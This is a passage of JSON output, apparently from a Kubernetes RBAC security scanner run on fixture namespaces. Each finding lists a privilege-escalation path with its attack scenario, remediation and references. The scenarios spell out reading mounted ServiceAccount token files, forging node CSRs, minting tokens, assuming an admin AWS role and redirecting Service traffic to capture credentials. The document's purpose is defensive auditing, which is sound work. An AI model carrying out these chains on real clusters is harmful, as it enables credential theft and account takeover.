      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/vulnerable/privileged-reader:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 7,
    "category": "lateral_movement",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can **intercept in-cluster Service traffic** in 2 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator\n  2. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/vulnerable/privileged-reader`.",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/hookbackend-fixtures/hookbackend-operator` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/nodeid-fixtures/nodeid-joiner:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 6.9,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (4 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa\n  4. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/nodeid-fixtures/nodeid-joiner`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-imp/imp-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 4,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "pod_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/cert-manager/cert-manager:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cert-manager/cert-manager` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/cert-manager/cert-manager` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/cert-manager/cert-manager` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cert-manager/cert-manager` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/cert-manager/cert-manager` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cert-manager/cert-manager`.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "secret_mint_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/cert-manager/cert-manager` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/cert-manager/cert-manager` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/cutres/cutres-detour:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-detour` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/cutres/cutres-detour` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/cutres/cutres-detour` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-detour` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/cutres/cutres-detour` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cutres/cutres-detour`.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "secret_mint_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/cutres/cutres-detour` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/cutres/cutres-parallel:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.85,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-parallel` can reach `token_mint` in 1 hop(s)",
    "description": "Subject `ServiceAccount/cutres/cutres-parallel` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/cutres/cutres-parallel` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-parallel` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/cutres/cutres-parallel` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cutres/cutres-parallel`.",
      "Acting as `ServiceAccount/cutres/cutres-parallel`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "secret_mint_token",
      "hop_count": 1,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/cutres/cutres-parallel` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create + get secrets (cluster-wide)` that enables the first hop (`ServiceAccount/cutres/cutres-parallel` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
